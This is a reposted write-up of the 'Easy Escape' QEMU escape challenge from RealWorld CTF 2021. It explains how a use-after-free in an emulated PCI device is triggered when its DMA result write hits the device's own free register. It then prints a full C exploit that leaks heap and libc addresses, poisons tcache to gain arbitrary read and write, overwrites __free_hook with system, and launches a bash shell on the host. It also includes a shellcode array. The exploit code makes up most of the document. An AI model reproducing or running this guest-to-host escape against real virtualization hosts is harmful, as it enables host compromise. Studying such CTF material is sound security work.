Back

转载:[rwctf2021] Easy Escape

一个QEMU逃逸题,虽然漏洞的逻辑也不复杂,但是此类UAF利用思路可以借鉴一下,还是很有价值的。

转自:http://pzhxbz.cn/?p=166

Easy_Escape is a qemu escape challenge in RealWorld CTF 2021,It implement a deivce named fun and has two operations: fun_mmio_write and fun_mmio_read.The code is simple:

void fun_write(struct FunState *fun,int addr,int val) {
    switch (addr) {
    case 0x0:
        fun->req_total_size = val;
        break;
    case 0x4:
        fun->addr = val;
        break;
    case 0x8:
        fun->result_addr = val;
        break;
    case 0xc:
        fun->FunReq_list_idx = val;
        break;
    case 0x10:
        if (fun->req) {
            handle_data_read(fun, fun->req,fun->FunReq_list_idx);
            break;
        }
        else{
            break;
        }
    case 0x14:
        if (fun->req) {
            break;
        }
        else {
            fun->req = create_req(fun->req_total_size);
            break;  
        }
    case 0x18:
        if (fun->req) {
            delete_req(fun->req);
            fun->req = 0;
            fun->req_total_size = 0;
            break;
        }
        else{
            fun->req = 0;
            fun->req_total_size = 0;
            break;
        }
    }
    return 0;
}
int fun_read(struct FunState *fun, int addr) {
    int ret_data = -1;
    switch (addr) {
    case 0x0:
        ret_data = fun->req_total_size;
        break;
    case 0x4:
        ret_data = fun->addr;
        break;
    case 0x8:
        ret_data = fun->result_addr;
        break;
    case 0xc:
        ret_data = fun->FunReq_list_idx;
        break;
    case 0x10:
        if (fun->req) {
            handle_data_write(fun, fun->req,fun->FunReq_list_idx);
            break;
        }
        else {
            break;
        }
    }
    return ret_data;
}

In fun_mmio_write , we can malloc and free req’s buffer,and write data into it. In fun_read, we can read data from req. In handle_data_read, there is something strange:

void __cdecl put_result(FunState *fun, uint32_t_0 val)
{
  uint32_t_0 result; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  result = val;
  dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
}
void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( req->total_size && val <= 126 && val < (req->total_size >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }

put_result can write a data to somewhere, it seems useless. But if put_result write the device’s address + 0x18, it free req before we write, so it can cause a uaf.

After that , it was easy to solve. In my exploit, I leak thread arena and req’s address firstly. But I think my ways to leak req’s address may be unstable.I leaked tcache list first, next I use absolute offset calculate the the fd address to locate the req’s address. If there be more malloc or free operation, my way will get wrong address.

After leak req’s address, we can use uaf to overwrite tcache’s list point to the address which req will be, like this:

then modify the pointer in req can get anywhere write and anywhere read. I leaked the thread anera’s next and get main arena’s address, finally write free_hook to system to get the shell. Here’s the finally exp:

#include <unistd.h>
#include <sys/io.h>
#include <memory.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>


#define DEVICE_PATH "/sys/devices/pci0000:00/0000:00:04.0/resource0"
#define DEVICE_ADDR 0x00000000febf1000
#define    page_map_file     "/proc/self/pagemap"
#define    PFN_MASK          ((((uint64_t)1)<<55)-1)
#define    PFN_PRESENT_FLAG  (((uint64_t)1)<<63)


#define u64 unsigned long long
#define u32 unsigned int
#define u8 unsigned char

unsigned char* mmio_mem;
size_t pmio_base=0xc050;

void die(char*s)
{
  puts(s);
  exit(-1);
}

size_t mem_addr_vir2phy(u64 vir)
{
    int fd;
    int page_size=getpagesize();
    unsigned long vir_page_idx = vir/page_size;
    unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);
    uint64_t pfn_item;

    fd = open(page_map_file, O_RDONLY);
    if (fd<0)
    {
        printf("open %s failed", page_map_file);
        return -1;
    }

    if ((off_t)-1 == lseek(fd, pfn_item_offset, SEEK_SET))
    {
        printf("lseek %s failed", page_map_file);
        return -1;
    }

    if (sizeof(uint64_t) != read(fd, &pfn_item, sizeof(uint64_t)))
    {
        printf("read %s failed", page_map_file);
        return -1;
    }

    if (0==(pfn_item & PFN_PRESENT_FLAG))
    {
        printf("page is not present");
        return -1;
    }
    close(fd);
    return (pfn_item & PFN_MASK)*page_size + vir % page_size;
}

#include <stdint.h>
void mmio_write(size_t addr, size_t value)
{
  *((uint32_t *)(mmio_mem + addr)) = value;
}
size_t mmio_read(size_t addr)
{
    return *((uint32_t *)(mmio_mem + addr));
}
size_t pmio_write(size_t addr, size_t value)
{
    outl(value,addr);
}
size_t pmio_read(size_t addr)
{
    return (size_t)inl(addr);
}
void open_pmio()
{
    // Open and map I/O memory for the device
    if (iopl(3) !=0 )
        die("I/O permission is not enough");
}
void open_mmio()
{
    // Open and map I/O memory for the device
    int mmio_fd = open(DEVICE_PATH, O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");
    printf("open mmio at %p\n",mmio_mem);
}

void* mmap_new()
{
    return mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
}

unsigned char shellcode[] = {0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x2e,0x63,0x68,0x6f,0x2e,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0x89,0xe7,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x68,0x6f,0x2e,0x63,0x60,0x72,0x69,0x1,0x48,0x31,0x4,0x24,0x48,0xb8,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x1,0x50,0x48,0xb8,0x72,0x69,0x1,0x2c,0x62,0x1,0x2e,0x63,0x48,0x31,0x4,0x24,0x31,0xf6,0x56,0x6a,0xe,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x13,0x5e,0x48,0x1,0xe6,0x56,0x6a,0x18,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5};
//{0x6a,0x68,0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x2f,0x73,0x50,0x48,0x89,0xe7,0x68,0x72,0x69,0x1,0x1,0x81,0x34,0x24,0x1,0x1,0x1,0x1,0x31,0xf6,0x56,0x6a,0x8,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58,0xf,0x5};

void* maps[100] = {0};

void alloc_req(u64 num)
{
  mmio_write(0,(num-1) << 10);
  mmio_write(0x14,123);
}
void dele_req()
{
  mmio_write(0x18,233);
}
void read_device(u64 index,u64 des_addr,u64 res_addr)
{
  u64 real_addr = des_addr - (index << 10);
  mmio_write(0xc,index);
  mmio_write(0x4,real_addr);
  mmio_write(8,res_addr);
  mmio_read(0x10);
}
void write_device(u64 index,u64 src_addr,u64 res_addr)
{
    u64 real_addr = src_addr - (index << 10);
    mmio_write(0xc,index);
    mmio_write(0x4,real_addr);
    mmio_write(8,res_addr);
    mmio_write(0x10,233);
}
u8 test_buf[0x10000];
u64 write_bufs[0x100];

void print_hex(u64 *a,size_t len)
{
  for(int i=0;i<len;i++)
  {
    printf("%p ",a[i]);
    if(i%4 ==0)
    {
      puts("");
    }
  }
  puts("");
}
void read_anywhere(u64 addr,u64 req_addr)
{
  void* test = &test_buf;
  u64* test_ptr = test_buf;
  test_ptr[0] = 0x0000000000000400;
  test_ptr[1] = addr;
  test_ptr[2] = req_addr;
  write_device(1,mem_addr_vir2phy(test),mem_addr_vir2phy(test+0x100));
  read_device(0,mem_addr_vir2phy(test),mem_addr_vir2phy(test+0x100));
  return;
}
void write_anywhere(u64 addr,u64 req_addr)
{
  void* test = &test_buf;
  u64* test_ptr = test_buf;
  test_ptr[0] = 0x0000000000000400;
  test_ptr[1] = addr;
  test_ptr[2] = req_addr;
  write_device(1,mem_addr_vir2phy(test),mem_addr_vir2phy(test+0x100));
  write_device(0,mem_addr_vir2phy((void*)&write_bufs),mem_addr_vir2phy(test+0x100));
  return;
}

char cmd[] = "/bin/bash -c '/bin/bash'";

int main(int argc, char *argv[])
{
  setbuf(stdin,0);
  setbuf(stdout,0);
  setbuf(stderr,0);
  void* test = &test_buf;//mmap_new();
  printf("%p\n",test);
  //memset(test,0x90,0x1000);
  printf("%p\n",mem_addr_vir2phy(test));
  //scanf("%s",test);
  open_mmio();
  int a;
  u64* test_ptr = test_buf;
  alloc_req(5);
  dele_req(5);
  alloc_req(5);
  u64 leak_thread_arena = 0;
  u64 tcache_addr[10] = {0};
  for(int i=0;i<5;i++)
  {
    read_device(i,mem_addr_vir2phy(test),mem_addr_vir2phy(test + 0x100));
    u64* t = test;
    u64 res = *t;
    printf("%d:%p\n",i,res);
    if(!res)
    {
      continue;
    }
    if(res != 0)
    {
      leak_thread_arena = (res>>24) << 24;
    }
    tcache_addr[i] = res;
  }
  printf("leak arena %p\n",leak_thread_arena);
  printf("leak tcache:");
  for(int i=0;i<10;i++)
  {
    printf("%p ",tcache_addr[i]);
  }
  puts("");
  //scanf("%d",&a);
  //printf("finish");
  // start tigger uaf
  dele_req();
  for(int i=0;i<2;i++)
  {
    alloc_req(2);
    dele_req();
  }
  alloc_req(3);
  u64 req_addr = tcache_addr[3] - 0x410;
  printf("guess req addr %p\n",req_addr);
  test_ptr[0] = req_addr;
  test_ptr[1] = 0;
  write_device(2,mem_addr_vir2phy(test),DEVICE_ADDR + 0x18);
  scanf("%d",&a);
  alloc_req(2);
  read_anywhere(leak_thread_arena+0x20 + 0x870,req_addr);
  //print_hex(test_ptr,30);
  u64 leak_next_arena = test_ptr[0];
  printf("leak next %p",leak_next_arena);
  read_anywhere(leak_next_arena + 0x870,req_addr);
  u64 leak_libc = test_ptr[0];
  u64 libc_base = leak_libc - 2014080;
  printf("leak libc base %p",libc_base);
  u64 system_addr = libc_base + 349200;
  u64 free_hook = libc_base + 2026280-0x200;
  memset(write_bufs,0,sizeof(write_bufs));
  write_bufs[64] = system_addr;
  memcpy(&write_bufs,cmd,sizeof(cmd));
  write_anywhere(free_hook,req_addr);
  dele_req();
  return 0;
}
Submit